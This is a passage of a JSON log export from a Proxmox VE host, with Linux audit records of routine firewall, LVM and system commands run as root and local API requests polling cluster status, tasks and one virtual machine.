a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65977 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965452684,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:11 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964554383,"@rawstring":"node=pve type=EXECVE msg=audit(1781964554.383:61500): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966165660,"@rawstring":"node=pve type=EXECVE msg=audit(1781966165.660:68705): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964896047,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964896.047:63125): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60571 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965578527,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965578.527:66209): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955870 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63593 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964124565,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:03 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781964155827,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964155.827:59807): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1478e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=57431 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966165660,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966165.660:68705): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65976 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965452684,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1106"} {"@timestamp":1781964549806,"@rawstring":"node=pve type=EXECVE msg=audit(1781964549.806:61499): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966165646,"@rawstring":"node=pve type=EXECVE msg=audit(1781966165.646:68702): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964896041,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964896.041:63123): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60570 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575554,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.554:66205): arch=c000003e syscall=59 success=no exit=-2 a0=7ffebb45caf0 a1=63c5f7afa410 a2=63c5f7ad8680 a3=5 items=1 ppid=63586 pid=63587 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964123571,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:02:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 476"} {"@timestamp":1781964154549,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964154.549:59806): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d740be20 a1=64f8d73f08a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57430 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966165646,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966165.646:68702): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65975 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965449845,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:09 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 887"} {"@timestamp":1781964549789,"@rawstring":"node=pve type=EXECVE msg=audit(1781964549.789:61496): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966164769,"@rawstring":"node=pve type=EXECVE msg=audit(1781966164.769:68699): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964896041,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964896.041:63122): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60570 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965575424,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965575.424:66187): arch=c000003e syscall=59 success=no exit=-2 a0=7ffef3fd4840 a1=59dbf5eb4310 a2=59dbf5ead680 a3=5 items=1 ppid=63567 pid=63568 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964120670,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781964154520,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964154.520:59805): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b7ea0 a1=64f8d73c3ba0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=57429 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966164769,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966164.769:68699): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73db6c0 a1=64f8d73c57a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65972 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965449845,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:09 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1106"} {"@timestamp":1781964545577,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.577:61493): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966164728,"@rawstring":"node=pve type=EXECVE msg=audit(1781966164.728:68698): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964895143,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.143:63118): arch=c000003e syscall=59 success=no exit=-2 a0=7fffb8f82a10 a1=5f33f07eb310 a2=5f33f07e4680 a3=5 items=1 ppid=60563 pid=60564 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965573518,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965573.518:66177): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899557b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63557 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964120670,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:59 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 850"} {"@timestamp":1781964153114,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964153.114:59804): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57426 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966164728,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966164.728:68698): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73e0a70 a1=64f8d7414f60 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65971 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965449845,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:08 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964545574,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.574:61492): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966160632,"@rawstring":"node=pve type=EXECVE msg=audit(1781966160.632:68697): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964895055,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964895.055:63100): arch=c000003e syscall=59 success=no exit=-2 a0=7ffd6961ded0 a1=644a39b493d0 a2=644a39b27680 a3=5 items=1 ppid=60544 pid=60545 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965573518,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965573.518:66176): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899557b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63557 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964119619,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781964153105,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964153.105:59801): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57425 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966160632,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966160.632:68697): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65967 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965448728,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:08 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1106"} {"@timestamp":1781964545573,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.573:61491): argc=1 a0=\"date\""} {"@timestamp":1781966160627,"@rawstring":"node=pve type=EXECVE msg=audit(1781966160.627:68694): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964891033,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964891.033:63089): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60533 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965573512,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965573.512:66174): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899556f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63556 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964116603,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:55 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1091"} {"@timestamp":1781964148100,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964148.100:59798): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57424 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966160627,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966160.627:68694): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65966 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965448728,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:07 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 939"} {"@timestamp":1781964545569,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.569:61489): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966155940,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.940:68691): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964891033,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964891.033:63088): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60533 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965573511,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965573.511:66173): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899556f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63556 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964115590,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:54 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 476"} {"@timestamp":1781964148088,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964148.088:59795): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=57423 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155940,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.940:68691): arch=c000003e syscall=59 success=yes exit=0 a0=6051c474ad70 a1=6051c4756b30 a2=6051c4724680 a3=5 items=2 ppid=65958 pid=65964 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965448728,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 501"} {"@timestamp":1781964545563,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.563:61488): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966155936,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.936:68690): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964891027,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964891.027:63086): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60532 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965568499,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965568.499:66171): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955630 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63555 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964114577,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:53 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 844"} {"@timestamp":1781964145817,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.817:59792): arch=c000003e syscall=59 success=yes exit=0 a0=595dc63700a0 a1=595dc636ce20 a2=595dc634e680 a3=5 items=2 ppid=57416 pid=57422 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155936,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.936:68690): arch=c000003e syscall=59 success=yes exit=0 a0=6051a60a7ac8 a1=7ffc58292a10 a2=6051c4724680 a3=6051a608b24e items=2 ppid=65958 pid=65960 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965448728,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:07 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964545557,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.557:61487): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966155936,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.936:68689): argc=1 a0=\"date\""} {"@timestamp":1781964891027,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964891.027:63085): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60532 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965568499,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965568.499:66170): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955630 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63555 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964112579,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:51 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781964145814,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.814:59791): arch=c000003e syscall=59 success=yes exit=0 a0=595da1939ac8 a1=7fff45eedd20 a2=595dc634e680 a3=595da191d24e items=2 ppid=57416 pid=57418 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155936,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.936:68689): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc582929d0 a1=6051c4746410 a2=6051c4724680 a3=5 items=2 ppid=65958 pid=65959 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965446440,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:24:05 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 501"} {"@timestamp":1781964545551,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.551:61486): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966155932,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.932:68687): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964886019,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964886.019:63083): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60531 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965568490,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965568.490:66168): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955570 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63554 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964111584,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:50 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 460"} {"@timestamp":1781964145813,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.813:59790): arch=c000003e syscall=59 success=yes exit=0 a0=7fff45eedce0 a1=595dc6355310 a2=595dc634e680 a3=5 items=2 ppid=57416 pid=57417 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966155932,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966155.932:68687): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65958 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965446440,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:24:05 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 927"} {"@timestamp":1781964545545,"@rawstring":"node=pve type=EXECVE msg=audit(1781964545.545:61485): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966155925,"@rawstring":"node=pve type=EXECVE msg=audit(1781966155.925:68686): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964886019,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964886.019:63082): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=60531 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965568490,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965568.490:66167): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955570 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=63554 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781964108623,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:01:47 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1099"} {"@timestamp":1781964145809,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964145.809:59788): arch=c000003e syscall=59 success=yes 